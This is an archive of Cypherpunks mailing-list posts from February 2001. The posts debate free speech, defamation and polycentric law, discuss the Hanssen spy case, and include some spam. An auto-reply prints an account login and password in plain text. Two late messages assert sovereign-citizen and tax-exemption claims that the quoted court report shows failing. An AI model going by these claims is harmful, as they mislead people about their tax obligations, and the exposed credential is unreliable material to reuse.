> > just said makes sense.
> 
> As long as it exists the work is not done.
> 
> It's worth observing that to Hitler, he made sense. (and no, I am NOT
> drawing any sort of conclusion, simply saying the 'I and I' is not the end
> all).
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 




From mila at broadcastnow.net  Tue Feb 27 20:29:45 2001
From: mila at broadcastnow.net (mila at broadcastnow.net)
Date: Tue, 27 Feb 2001 23:29:45 -0500
Subject: Pay more than you make?
Message-ID: <kmlvkj5.0m6u4x31okfjfhq41b@helod.broadcastnow.net>

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From leota at broadcastnow.net  Tue Feb 27 20:33:38 2001
From: leota at broadcastnow.net (leota at broadcastnow.net)
Date: Tue, 27 Feb 2001 23:33:38 -0500
Subject: Pay more than you make?
Message-ID: <7v26hp321a1w2ojt.wh3l6l0vds7t0umm6eb@watcher.broadcastnow.net>

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From ravage at EINSTEIN.ssz.com  Tue Feb 27 21:35:06 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 23:35:06 -0600 (CST)
Subject: I left a word out... Re: Microsoft Trial Judge...
In-Reply-To: <Pine.LNX.3.96.1010227215918.5925q-100000@einstein.ssz.com>
Message-ID: <Pine.LNX.3.96.1010227233323.5925r-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, Jim Choate wrote:

> But that's not the speech but the consequence of the speech. No, you
> should be held to an a priori 'no lie' standard. But if by that
        ^
       not

> lie you are damaging, and intent should aggravage the crime, another
> person by the change in behaviour of anonymous 3rd parties then how is
> holding the speaker accountable for those consequences a limit on their
> speech? How does that justify saying 'you can't lie'? Aren't there times
> when lying is the only way not to hurt persons (rare as it is, if it
> exists we must allow that if we hold that hurting people is wrong).
> 
> > I believe that I have the right not to be publicly ridiculed and to be made 
> > the subject of untrue statements against my character.  But that's the limit.
> > I think that's about the limit of restriction on speech.  
> 
> You're an asshole (not really, keep reading). Ridicule is political speech
> and should be protected. Now my stating to another 3rd party that you're a
> baby raper and as a consequence you lose your business is a whole other
> situation. It's not the speech that should be punished, it should be my
> acting with intent to harm. That speech might be involved is really
> irrelevant.
> 
> > But the reality of it is, prior restraint *does* exist, and seeing as code
> > is speech, the same restrictions that apply to speech apply to code.  I am
> > pretty much talking out of my ass (because I am not a lawyer), but what I
> > just said makes sense.
> 
> As long as it exists the work is not done.
> 
> It's worth observing that to Hitler, he made sense. (and no, I am NOT
> drawing any sort of conclusion, simply saying the 'I and I' is not the end
> all).
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 




From ravage at EINSTEIN.ssz.com  Tue Feb 27 21:42:13 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 23:42:13 -0600 (CST)
Subject: Microsoft Trial Judge Based ...
In-Reply-To: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>
Message-ID: <Pine.LNX.3.96.1010227233635.5925s-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, David Stultz wrote:

> But now, I am beginning to see what you are saying.  We shouldn't blame
> *speech* for the result of speech.  It's the *result* of said speech that
> should be the grounds of wrongness.  Makes sense to me.

Ding Ding :)

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at einstein.ssz.com  Tue Feb 27 21:44:10 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 23:44:10 -0600 (CST)
Subject: "Information wants to be free"
In-Reply-To: <Pine.LNX.4.10.10102272035010.25976-100000@clueserver.org>
Message-ID: <Pine.LNX.3.96.1010227234347.5925t-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, Alan Olsen wrote:

> "Information *actually* wants to be tied up and spanked."

No, it wants to do the spanking.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at EINSTEIN.ssz.com  Tue Feb 27 21:52:06 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 23:52:06 -0600 (CST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed    Theory,  Not Facts
In-Reply-To: <a05010403b6c23266a910@[207.111.241.61]>
Message-ID: <Pine.LNX.3.96.1010227234652.5925v-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, Tim May wrote:

> If you are this easily persuaded, and come at "free speech" with such 
> confusion, you have a lot of reading ahead of you. I envy you, 
> actually.

It really isn't a point to be pursuaded, it's axiomatic in democratic
thought. The premise is that the only way to guarantee every person a say
in their society is to guarantee their say.

Not a hard concept at all. Unfortunately it's more than a tad non-PC,
especially to anarchist and federalist (statist by your term I believe).
Merely another observation that those who take oaths to protect our
liberty don't usually themselves believe in it.

Ask yourself (not Tim but the reader in general) why is it that in a
country dedicated to free speech the defendent in a trial doesn't get it
while in the courtroom?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at EINSTEIN.ssz.com  Tue Feb 27 21:55:11 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 23:55:11 -0600 (CST)
Subject: Confusion about Free Speech
In-Reply-To: <a05010402b6c230ab4115@[207.111.241.61]>
Message-ID: <Pine.LNX.3.96.1010227235348.5925w-100000@einstein.ssz.com>



Also known as 'polycracy' or 'polyocracy'.

It's also worth knowing the only extant sample was the Third Reich. Makes
it a hard sell for obvious reasons.

On Tue, 27 Feb 2001, Tim May wrote:

> A typo. That should be "polycentric law," as in "multiple centers."

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From tcmay at got.net  Wed Feb 28 00:02:18 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 00:02:18 -0800
Subject: Confusion about Free Speech - polycentric
In-Reply-To: <NEBBJHBKILFDJEFIABHPIECNCEAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPIECNCEAA.aimee.farr@pobox.com>
Message-ID: <a05010407b6c25fad4c3c@[207.111.241.61]>


At 12:32 AM -0600 2/28/01, Aimee Farr wrote:
>Jim said:
>
>>  Also known as 'polycracy' or 'polyocracy'.
>>
>>  It's also worth knowing the only extant sample was the Third Reich. Makes
>>  it a hard sell for obvious reasons.
>
>Polycentric law is older than the law itself. The Muslims and the Christians
>used to trade using the Maghribi traders. They ran a _private legal system_.
>Later, we saw the rise of the Law Merchant standards. If you broke the
>rules, you were out. It runs on reputation capital. Polycentric law is the
>order of the society. Most of the cypherpunk memes here are going to require
>the equivalent of the Maghribi traders.
>
>Code and other laws of cyberspace (Lessig, et. al.) are pointing out that
>the Net has developed a society where one person can be subject to many
>legal systems. A legal system is not just a state-sanctioned court. Now,
>these two legal systems are competing. The static legal system is trying
>avidly to address and stamp out it's new competitor. But there will always
>be a place for the Maghribi (although the traditional role of a lawyer is
>now very much in question) where the law does not go, or where it is
>inefficient.
>
>Coming from a traditionalist legal culture, I'm probably the worst person to
>talk about it. My understanding is that this is an old cypherpunk topic.

Yes, we used to talk about this kind of stuff a lot. We had a few 
people very interested in this kind of stuff in the early days. 
People like Hal Finney, Robin Hanson, Nick Szabo, myself. Alas, most 
are long since gone.

Polycentric law is still with us, of course. One hundred or more 
nations, law of the seas, the UCC, etc. Anarchy is the norm in most 
parts of our lives.

However, Aimee, your summary here is very good. I'm pleasantly surprised.

Debating with Choate is not useful, however.

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From ds932 at bard.edu  Tue Feb 27 21:16:24 2001
From: ds932 at bard.edu (David Stultz)
Date: Wed, 28 Feb 2001 00:16:24 -0500 (EST)
Subject: Confusion about Free Speech
In-Reply-To: <a05010400b6c22c06299e@[207.111.241.224]>
Message-ID: <Pine.A32.3.95.1010228001506.38744G-100000@bard.edu>


> For two reasons. First, it is not the role of government to protect
> your _reputation_. This puts others in the business of determining
> what "truth" is. Second, "sunlight is the best disinfectant." The
> cure for defamatory speech is _more_ speech.

Hmmm...good point.  I should have thought of that before.


On Tue, 27 Feb 2001, Tim May wrote:

> At 10:41 PM -0500 2/27/01, David Stultz wrote:
> >I see your point...prior restraint sucks, but I disagree with you that
> >speech cannot violate rights.  What about slander or libel?  I believe
> >that I have the right not to be publicly ridiculed and to be made the
> >subject of untrue statements against my character.  But that's the limit.
> >I think that's about the limit of restriction on speech. 
> >
> >But the reality of it is, prior restraint *does* exist, and seeing as code
> >is speech, the same restrictions that apply to speech apply to code.  I am
> >pretty much talking out of my ass (because I am not a lawyer), but what I
> >just said makes sense.
> 
> This is well-trod ground, even for this list.
> 
> Citing libel and slander in the context of "free speech" is a 
> slippery slope. For one thing, neither libel nor slander has anything 
> to do with First Amendment issues, which are limitations on 
> censorship, prior restraint, etc. (Even the infamous "Falsely 
> shouting "Fire!" in a crowded theater" is more confusing than 
> illuminating, and certainly has nothing to do with censorship or 
> prior restraint.)
> 
> Another thing is that this recent discussion about how Microsoft is 
> "suppressing free speech" is just nonsensical.
> 
> The list seems to have some new members lately, or is getting cross 
> posts from other lists.
> 
> It's important that folks know what the First Amendment says 
> (apologies to non-U.S. folks) and how the term "free speech" is so 
> often misused.
> 
> As for your point about "I have the right not to be publicly 
> ridiculed and to be made the subject of untrue statements about my 
> character," boy,  have you dialed a wrong number!
> 
> For two reasons. First, it is not the role of government to protect 
> your _reputation_. This puts others in the business of determining 
> what "truth" is. Second, "sunlight is the best disinfectant." The 
> cure for defamatory speech is _more_ speech.
> 
> (And libertarians and other thoughtful persons recognize that 
> incorrect characterizations are their own punishment. This is the 
> concept of "negative reputations." Again, this is well-trod ground: 
> the real debate about "right not to be defamed" turns out to 
> translate to a debate about "unequal powers," as when a newspaper 
> defames a peon. Defamation of you by me is never considered important 
> enough to pass laws over.)
> 
> Lastly, lest I ramble on too much, if there are issues of civil 
> actions in defamation (slander and libel), there are some nice 
> alternatives coming under the rubric of "polycentril law" or "markets 
> for law." In a nutshell, if you want to sue me, contact your 
> protection racket and have them contact mine for some bargaining.
> 
> 
> --Tim May
> -- 
> Timothy C. May         tcmay at got.net        Corralitos, California
> Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
> Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
> Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns
> 




From aimee.farr at pobox.com  Tue Feb 27 22:21:09 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 28 Feb 2001 00:21:09 -0600
Subject: Confusion about Free Speech - reputation enforcement
In-Reply-To: <a05010402b6c230ab4115@[207.111.241.61]>
Message-ID: <NEBBJHBKILFDJEFIABHPKECMCEAA.aimee.farr@pobox.com>


Tim May said:

> This is well-trod ground, even ....

I already know that you always say this.

I don't know that it does any good.

I'm not going to touch that wild free speech thread.

> >Lastly, lest I ramble on too much, if there are issues of civil
> >actions in defamation (slander and libel), there are some nice
> >alternatives coming under the rubric of "polycentril law" or
> >"markets for law." In a nutshell, if you want to sue me, contact
> >your protection racket and have them contact mine for some
> >bargaining.
>
> A typo. That should be "polycentric law," as in "multiple centers."

The Maghribi traders, ADR, blinded arbitration, an' all dat:
http://calvo.teleco.ulpgc.es/cyphernomicon/chapter16/16.19.html

Friedman @
http://www.best.com/~ddfr/Academic/contracts_in_%20cyberspace/contracts_in_c
yberspace.htm

Now, suddenly free speech and defamation is relevant again, because of it's
role in reputation enforcement, at least in ID'd transactions. Nice shot,
sir.

Now you can say, "This is well-trod ground, even...."  Bah. ;-)

-Aimee

[I'm behind on all my email.]




From aimee.farr at pobox.com  Tue Feb 27 22:32:46 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 28 Feb 2001 00:32:46 -0600
Subject: Confusion about Free Speech - polycentric
In-Reply-To: <Pine.LNX.3.96.1010227235348.5925w-100000@einstein.ssz.com>
Message-ID: <NEBBJHBKILFDJEFIABHPIECNCEAA.aimee.farr@pobox.com>


Jim said:

> Also known as 'polycracy' or 'polyocracy'.
>
> It's also worth knowing the only extant sample was the Third Reich. Makes
> it a hard sell for obvious reasons.

Polycentric law is older than the law itself. The Muslims and the Christians
used to trade using the Maghribi traders. They ran a _private legal system_.
Later, we saw the rise of the Law Merchant standards. If you broke the
rules, you were out. It runs on reputation capital. Polycentric law is the
order of the society. Most of the cypherpunk memes here are going to require
the equivalent of the Maghribi traders.

Code and other laws of cyberspace (Lessig, et. al.) are pointing out that
the Net has developed a society where one person can be subject to many
legal systems. A legal system is not just a state-sanctioned court. Now,
these two legal systems are competing. The static legal system is trying
avidly to address and stamp out it's new competitor. But there will always
be a place for the Maghribi (although the traditional role of a lawyer is
now very much in question) where the law does not go, or where it is
inefficient.

Coming from a traditionalist legal culture, I'm probably the worst person to
talk about it. My understanding is that this is an old cypherpunk topic.

-Aimee




From ds932 at bard.edu  Tue Feb 27 21:35:04 2001
From: ds932 at bard.edu (David Stultz)
Date: Wed, 28 Feb 2001 00:35:04 -0500 (EST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed
     Theory,  Not Facts
In-Reply-To: <a05010403b6c23266a910@[207.111.241.61]>
Message-ID: <Pine.A32.3.95.1010228003325.38744I-100000@bard.edu>


> Let's not adopt this banal convention on this list. Much bandwidth is
> wasted by people arguing about invocation of Godwin's Law and
> inventing their own variants (such as May's Lemma, that more
> bandwidth is wasted....).

Whatever.  Lets not be too serious.

> If you are this easily persuaded, and come at "free speech" with such
> confusion, you have a lot of reading ahead of you. I envy you,
> actually.

Never said I was an expert.

On Tue, 27 Feb 2001, Tim May wrote:

> At 11:23 PM -0500 2/27/01, David Stultz wrote:
> >  > It's worth observing that to Hitler, he made sense. (and no, I am NOT
> >>  drawing any sort of conclusion, simply saying the 'I and I' is not the
> >>  end all).
> >
> >Isn't there some sort of rule where at the first mention of "Hitler" or
> >"Nazi", it's the end of the thread? ;)
> 
> Let's not adopt this banal convention on this list. Much bandwidth is 
> wasted by people arguing about invocation of Godwin's Law and 
> inventing their own variants (such as May's Lemma, that more 
> bandwidth is wasted....).
> 
> 
> >
> >>  You're an asshole (not really, keep reading). Ridicule is political
> >>  speech and should be protected. Now my stating to another 3rd party that
> >>  you're a baby raper and as a consequence you lose your business is a
> >>  whole other situation.
> >
> >Heh.  Maybe ridicule wasn't the right word.  I can take a joke, ridicule
> >is ok.  I guess a better word would have been "unjustified slander" (OK,
> >that's two).  Satire and ridicule are good things, and are
> >protected...this is good.
> >
> >But now, I am beginning to see what you are saying.  We shouldn't blame
> >*speech* for the result of speech.  It's the *result* of said speech that
> >should be the grounds of wrongness.  Makes sense to me.
> 
> If you are this easily persuaded, and come at "free speech" with such 
> confusion, you have a lot of reading ahead of you. I envy you, 
> actually.
> 
> --Tim May
> 
> -- 
> Timothy C. May         tcmay at got.net        Corralitos, California
> Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
> Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
> Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From ssmall at stny.rr.com  Tue Feb 27 22:04:03 2001
From: ssmall at stny.rr.com (Susan)
Date: Wed, 28 Feb 2001 01:04:03 -0500
Subject: PLEASE REMOVE MY NAME FROM YOUR SPAM MAIL
In-Reply-To: <a05010402b6c230ab4115@[207.111.241.61]>
References: <a05010400b6c22c06299e@[207.111.241.224]>
  <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>
  <a05010400b6c22c06299e@[207.111.241.224]>
Message-ID: <3.0.6.32.20010228010403.007ac730@pop-server>


At 08:41 PM 2/27/01 -0800, Tim May wrote:
>
>At 8:32 PM -0800 2/27/01, Tim May wrote:
>>
>>Lastly, lest I ramble on too much, if there are issues of civil 
>>actions in defamation (slander and libel), there are some nice 
>>alternatives coming under the rubric of "polycentril law" or 
>>"markets for law." In a nutshell, if you want to sue me, contact 
>>your protection racket and have them contact mine for some 
>>bargaining.
>
>A typo. That should be "polycentric law," as in "multiple centers."
>
>
>--Tim May
>-- 
>Timothy C. May         tcmay at got.net        Corralitos, California
>Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
>Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
>Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns
>
>
Susan

I didn't claw my way to the top of the
food chain, just so I could eat veggies!

<ssmall at stny.rr.com>




From stevet at sendon.net  Tue Feb 27 20:55:11 2001
From: stevet at sendon.net (Steve Thompson)
Date: Wed, 28 Feb 2001 04:55:11 +0000
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <200103010042.f210gCm12331@artifact.psychedelic.net>
References: <20010228181107.A21080@alcove.wittsend.com> <200103010042.f210gCm12331@artifact.psychedelic.net>
Message-ID: <200103010459.XAA15092@divert.sendon.net>



Quoting Eric Cordian (emc at artifact.psychedelic.net):
> In a criminal case, the plaintiff is the state, not the wronged
> individual.

... which is something that I've found odd.  Up here in the Great
White North, it's the Queen who is the nominal victim of transgressions of the
criminal code.  Of what philosophical benefit is the transfer of `harm' from
the actual victim of a crime to another entity?  Of course, it doesn't change
the nature of the offence but it does provides a flesh-and-blood victim-object
for offences where there would otherwise be none.  Is it merely a
philosophical holdover from a time when the visible head of state was
considered `superhuman'?
 
> It was the state that filed the charges, and it was the state that
> dropped them after the adverse publicity started.  Despite this, 
> the student has been through a lot, including being charged with a
> felony, and having to enter a plea.

Philosophically speaking, what part of common law permits the state (or
its officers) to evade responsibility for harming an appellant as a direct
result of the legal process -- regardless of the eventual finding of guilt, or
as it was in this case, where the state declined to pursue the charge.

That the charge was laid in the first place is another matter entirely.
Certainly an indicator of impropriety on the part of the state prosecutor
who failed to demonstrate the safe use of brain cells, synapses and dendrites.


Regards,

Steve

-- 
Excerpt from:	Subject: ABOI: Chomsky: The Motion Picture
		Date: 10 Oct 1997 05:19:52 GMT
		Message-ID: <61kdto$7p9$6 at leopard.it.wsu.edu>

[cut to bunker]
Dr. Loglan: The battle is turning against us.
Whorf: What if there is a panic?
Dr. Loglan: My super-logical soldiers will never panic!

[cut to street.  A truck with large speakers cruises up and down]
Truck: THERE IS NO NEED TO PANIC!  A IS A!  RETURN TO YOUR HOMES!
 EXISTENCE EXISTS!  THE DAM HAS NOT BROKEN!




From jrkearns at ev1.net  Wed Feb 28 04:12:52 2001
From: jrkearns at ev1.net (Jean Rae Kearns)
Date: Wed, 28 Feb 2001 07:12:52 -0500
Subject: REAL MONEY STILL RULES
References: <LOBBLDDAFABDLCEDNFCAKEHOFKAA.quatloos@quatloos.com>
Message-ID: <3A9CEB44.3CFE@ev1.net>


Quatloos:  I ACCEPT YOUR OFFER, to be a transfer agent for some of my
credit instruments denominated in U.S. Dollars.  Please advise the your
address for you new TRANSFER AGENT status where you can receive
Registered Mail with the said credit instruments for your TRANSFER AGENT
actions thereon.  In order to make sure the credit instruments get to
the correct person, I need your full Christian name and personal address
for the Registered Mail, any corporate entity will not work, you will
have to accomplish this task in your individual commercial liability.

Please be advised, what you consider worthless, does have value and I
will expect you to properly transfer my credit from my credit
instruments to the proper entity/people.  I also do not expect you to
work for nothing, you will be authorized to deduct ten (10) percent of
the said amount you transfer, as a fee for your services.

Michael Joseph Kearns
c/o 8916 Datapoint Suite 3225
San Antonio, Texas  78229
210-614-4206
210-614-5698 (fax)
email: jrkearns at ev1.net
web page: http://users2.ev1.net/~jrkearns


Quatloos! wrote:
> 
> Send any paper money and other worthless script to us and we will dispose of
> it correctly and patriotically, so that you are no longer tainted by it. We
> will even give 10 cents in HARD COIN (your choice!) for each "worthless"
> FRNs or any other paper purporting to be U.S. money which has a President
> (or Ben Franklin, which is pretty much the same thing) on it.
> 
> Quatloos!
> http://www.quatloos.com
> 
> ************




From ravage at ssz.com  Wed Feb 28 05:16:30 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 28 Feb 2001 07:16:30 -0600 (CST)
Subject: weird (fwd)
Message-ID: <Pine.LNX.3.96.1010228071626.5925E-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Tue, 27 Feb 2001 22:23:04 -0800
From: Jon Stevens <jon at latchkey.com>
To: coderpunks at toad.com
Subject: weird

<http://www.cnn.com/2001/US/02/27/fbi.spy/index.html>

> The comment came from a letter that FBI officials said was encrypted on a
> computer diskette found in a package -- taped and wrapped in a black plastic
> trash bag -- that Hanssen dropped underneath a foot bridge in a park in
> Northern Virginia, immediately before his arrest.
> 
> The FBI decrypted the letter and described it in an affidavit filed in support
> of its search warrant.


#1. I wonder what was used to encrypt the letter and how they were able to
decrypt it. Did he give them the password? Was the encryption weak (it would
be funny if he had used DES)? Blah blah blah...

#2. Our (I'm US) govt. can't even keep its own members from spying on it.
Yet they have a problem with us exporting crypto tools so that mom and dad
can buy their goods over the net? Or they are afraid that terrorists will
get ahold of something they can download off the net already. Hmmm...gotta
love the US govt.

-jon




From pharaohscasino at online-promotions.net  Wed Feb 28 07:29:19 2001
From: pharaohscasino at online-promotions.net (pharaohscasino at online-promotions.net)
Date: Wed, 28 Feb 2001 07:29:19
Subject: $30 or 15% FREE at Pharaoh's Casino
Message-ID: <508.814863.798992@online-promotions.net>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 9487 bytes
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From ravage at EINSTEIN.ssz.com  Wed Feb 28 05:36:13 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 28 Feb 2001 07:36:13 -0600 (CST)
Subject: Confusion about Free Speech - polycentric
In-Reply-To: <NEBBJHBKILFDJEFIABHPIECNCEAA.aimee.farr@pobox.com>
Message-ID: <Pine.LNX.3.96.1010228071711.5925F-100000@einstein.ssz.com>



On Wed, 28 Feb 2001, Aimee Farr wrote:

> Polycentric law is older than the law itself. The Muslims and the Christians
> used to trade using the Maghribi traders. They ran a _private legal system_.
> Later, we saw the rise of the Law Merchant standards. If you broke the
> rules, you were out. It runs on reputation capital. Polycentric law is the
> order of the society. Most of the cypherpunk memes here are going to require
> the equivalent of the Maghribi traders.

Is it? Muslims and Christian traders really didn't use 'private law' in
the way we would use it today. Why? Because we are not primarily ruled by
our religous beliefs. The reason these examples aren't good ones is they
aren't what makes polycratic law polycratic, a bunch of independent EQUAL
authorities, they weren't. They all shared a common base infrastructure.

This is the same sort of near-miss as the Icelandic anarchist claims that
raise their heads once upon a while around here.

This raises the primary problem with polycratic law, and one which is
clearly evident in the Third Reich, they aren't economic. They each end up
fighting for the same scraps and that takes resources better spend for the
good of society. It's like watching a pack of hungry dogs fight over the
same scraps.

> Code and other laws of cyberspace (Lessig, et. al.) are pointing out that
> the Net has developed a society where one person can be subject to many
> legal systems. A legal system is not just a state-sanctioned court. Now,
> these two legal systems are competing. The static legal system is trying
> avidly to address and stamp out it's new competitor. But there will always
> be a place for the Maghribi (although the traditional role of a lawyer is
> now very much in question) where the law does not go, or where it is
> inefficient.

Actually Lessig is wrong for very one important reason, Open Source
software. The real question is whether the people out there will recognize
it in time.

People are building a technical and physical infra-structure that isn't
dependent upon the 'official' technical standards. We are reaching a level
of societal complexity where individuals are now abandoning centralized 
specialization because they have the tools to do many jobs themselves.

Law can't be efficient, not in its job description. Law isn't primarily an
economic factor (which must be crushing to those cryto-anarchist and
free-market mavens that live for the almight God dollar). Law is supposed
to be JUST. That it provides equal protection under the law is sufficient.

Besides the 'effeciency' of a legal system is irrelevent since it isn't
auto-catalytic (ie courts don't make law). The efficiency, if there is any
such beast to be had, is in the legislature. Efficiency is not making bad
laws in the first place. There is NOTHING in polycratic law that promises
to resolve this issue in any manner.

> Coming from a traditionalist legal culture, I'm probably the worst person to
> talk about it. My understanding is that this is an old cypherpunk topic.

Yes, but one which even the old hats haven't resolved. Though some of them
will squeel mightily about how 'resolved' it is, references to the
archives and such.

People have spent their whole lives educating and being educated about
centralized homogenous government. What's interesting, at least in this
country, is we're actually going backward, lowering the bar. The
Declaration of Independence guarantees individual liberty, and we hand it
over to a bunch of fat old political farts on a court with way too much
authority. An example is the discussion over speech the last couple of
days, what amazes me is these people say it's 'my point' when in fact it's
the fundamental under-pinning of their very country. AND THEY DON'T EVEN
KNOW IT.

In a very real sense the American democratic experiment has failed. It's
first death blow was Lincolns inaugural address and the second was the
creation of 'artificial people' (ie corporations) for economic reasons in
1870. The first decision killed the Declaration of Independence and the
second moved 'rights' from the venue of people to the venue and control of
government (in direct contravention to the Constitution, for those who
want to argue the opposite please explain where 'business' or 'economic
concern' is in the 9th Amendment).

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From jdc-webmaster at java.sun.com  Wed Feb 28 07:41:12 2001
From: jdc-webmaster at java.sun.com (jdc-webmaster at java.sun.com)
Date: Wed, 28 Feb 2001 07:41:12 -0800 (PST)
Subject: Java Developer Connection Auto Reply
Message-ID: <6696948.983374872103.JavaMail.daemon@mailhost>


Hello,

This is an auto-reply from the Java Developer Connection.

In response to your request, your User ID and Password
information is as follows:

	For User name: cypherpunks0
	your password is: writecode



To log in, go to http://java.sun.com/jdc/

If you have questions check the JDC Site FAQ;
if you dont find your answer send email to:

jdc-webmaster at java.sun.com
Java Developer Connection




From aimee.farr at pobox.com  Wed Feb 28 06:25:36 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 28 Feb 2001 08:25:36 -0600
Subject: HR 726: Ban on Internet firearm trading..."obtain, dispose,
  offer to obtain or dispose"
Message-ID: <NEBBJHBKILFDJEFIABHPGEDBCEAA.aimee.farr@pobox.com>


http://thomas.loc.gov

HR 726 [Feb. 26]
To ban the use of the Internet to obtain or dispose, or offer to obtain or
dispose of, a firearm.
Rep. Patsy Mink (D-HI) http://www.house.gov/mink/

-Aimee




From b.chandler at gte.net  Wed Feb 28 05:31:40 2001
From: b.chandler at gte.net (B.Chandler)
Date: Wed, 28 Feb 2001 08:31:40 -0500
Subject: 
Message-ID: <LOBBKPIHHGHIIFDGGBOHGEAGCEAA.b.chandler@gte.net>


yes quatloos, injustices occur every day.

answer this, what class of citizens existed before the 14th amendment?
was every congressman and every president that served prior to the 14th
amendment frauds? NO .
Before the 14th Amendment "citizen of the United States" did NOT exist.

Again, were every congressman and every president that served prior to the
14th
amendment frauds?



Quatloos Wrote:


California Couple Sentenced for Helping Clients Evade Taxes

February 23, 2001

By DAVID CAY JOHNSTON

A California couple who helped their clients evade at least $13.8
million in federal income taxes were sentenced to long prison terms
yesterday, sentences the judge extended after they said that the
tax laws were invalid and did not apply to them.

 The couple, Dorothy and George Henderson of Roseville, Calif.,
sold trusts through which, customers were told, they could put
their money beyond the reach of the Internal Revenue Service. The
couple kept 5 percent of the deposits.

 Mrs. Henderson, 56, was sentenced to more than 11 years in prison
and Mr. Henderson, 59, was sentenced to six and a half years by
Judge Garland E. Burrell Jr. of United States District Court in
Sacramento.

 The Hendersons did not testify at their trials, but at a
sentencing hearing yesterday they told Judge Burrell that the
I.R.S. had no authority over them and that they would pursue claims
against the government.

 They also said they were exempt from tax under Section 861 of the
Internal Revenue Code, contending that the statute excludes most
Americans from income taxes.

 Donald Dorfman, Mrs. Henderson's lawyer, said that he tried to
show his client that she had misread the law and that rather than
exempting anyone from taxes it extended the reach of American tax
law to income from foreign sources.

